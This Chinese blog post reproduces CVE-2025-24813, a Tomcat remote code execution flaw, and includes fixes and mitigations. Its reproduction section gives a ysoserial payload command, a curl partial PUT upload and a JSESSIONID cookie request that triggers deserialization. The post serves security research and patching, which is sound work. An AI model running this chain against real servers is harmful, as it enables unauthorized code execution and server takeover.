CVE-2025-24813 RCE复现

Apache Tomcat 远程代码执行漏洞

⚠️ **免责声明**
本文目标读者为安全研究人员与运维人员,任何利用本文内容进行非法攻击的行为均与作者无关。

1. 漏洞描述

Apache Tomcat 在特定配置下存在反序列化漏洞。攻击者可通过构造恶意请求,利用文件会话持久化机制将恶意序列化数据写入服务器,并在后续请求中触发反序列化操作,从而导致远程代码执行。

2. 影响范围

9.0.0.M1 <= Apache Tomcat <= 9.0.98

10.1.0-M1 <= Apache Tomcat <= 10.1.34

11.0.0-M1 <= Apache Tomcat <= 11.0.2

3. 漏洞触发条件

1、DefaultServlet 写入功能启用:需在 web.xml 中配置 readonly=false

2、Partial PUT 请求支持:Tomcat 默认支持分块上传。

3、文件会话持久化启用:需在 context.xml 中配置 PersistentManagerFileStore

4、存在反序列化利用链:类路径下需包含存在漏洞的库(如commons-collections-3.2.1.jar)。


4. 漏洞原理

1、Tomcat 文件会话持久化:Tomcat 支持将 HTTP 会话数据持久化到文件系统中,默认存储路径为 $CATALINA_BASE/work/Catalina/localhost/ROOT

2、DefaultServlet 写入功能:Tomcat 的 DefaultServlet 默认支持文件上传功能,但写入功能默认关闭。

3、Partial PUT 请求:Tomcat 支持分块上传文件(Partial PUT),允许客户端通过 Content-Range 头部分上传文件。

4.1 漏洞利用流程

1、上传恶意序列化数据

攻击者通过 Partial PUT 请求将恶意序列化数据写入 Tomcat 的工作目录。

文件路径中的 / 被转换为 .,例如 /evil/session 被存储为 .evil.session。

2、触发反序列化

攻击者通过设置 JSESSIONID=.evil,诱导 Tomcat 加载恶意会话文件。

Tomcat 在加载会话文件时触发反序列化操作,执行恶意代码。

4.2 漏洞核心问题

  • 文件名处理缺陷:Tomcat 在处理 Partial PUT 请求时,未对文件名进行严格校验,导致攻击者可通过路径穿越写入恶意文件。
  • 反序列化未校验:Tomcat 在加载会话文件时未对反序列化数据进行校验,导致恶意代码执行。

5. 漏洞复现

5.1 环境搭建

1、安装受影响版本的 Tomcat(如 9.0.98)。

2、配置 context.xml

<Context>
    <Manager className="org.apache.catalina.session.PersistentManager">
        <Store className="org.apache.catalina.session.FileStore"/>
    </Manager>
</Context>

3、配置 web.xml:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
</servlet>

4、添加漏洞库:将 commons-collections-3.2.1.jar 放入 lib 目录。

5.2 复现步骤

1、生成恶意序列化数据

java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" > payload.ser

2、上传恶意文件

curl -X PUT -H "Content-Range: bytes 0-999/1200" --data-binary @payload.ser http://target:8080/evil/session

3、触发漏洞

curl -H "Cookie: JSESSIONID=.evil" http://target:8080/

4、验证漏洞


6. 潜在危害

远程代码执行:攻击者可利用漏洞在目标服务器上执行任意命令。

数据泄露:攻击者可读取服务器上的敏感文件。

服务器控制:攻击者可完全控制受影响的服务器。


7. 修复建议

7.1 官方修复

Apache 官方已发布安全通告并发布了修复版本,请尽快下载安全版本修复漏洞。

Upgrade to Apache Tomcat 11.0.3 or later

Upgrade to Apache Tomcat 10.1.35 or later

Upgrade to Apache Tomcat 9.0.99 or late

7.2 临时缓解措施

1、禁用 DefaultServlet 写入功能:在 web.xml 中确保 readonly=true。
2、禁用文件会话持久化:移除 context.xml 中的 PersistentManager 配置。
3、移除漏洞库:删除或更新类路径下存在漏洞的库(如commons-collections-3.2.1.jar)。

8. 总结

该漏洞利用条件较为复杂,但一旦满足条件,攻击者可实现远程代码执行,危害极大。建议受影响的用户及时采取修复措施,避免被攻击者利用。

参考链接

https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq


⚠️本文仅用于教育和安全研究目的。对本文描述的技术的任何滥用行为,作者不承担任何责任。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值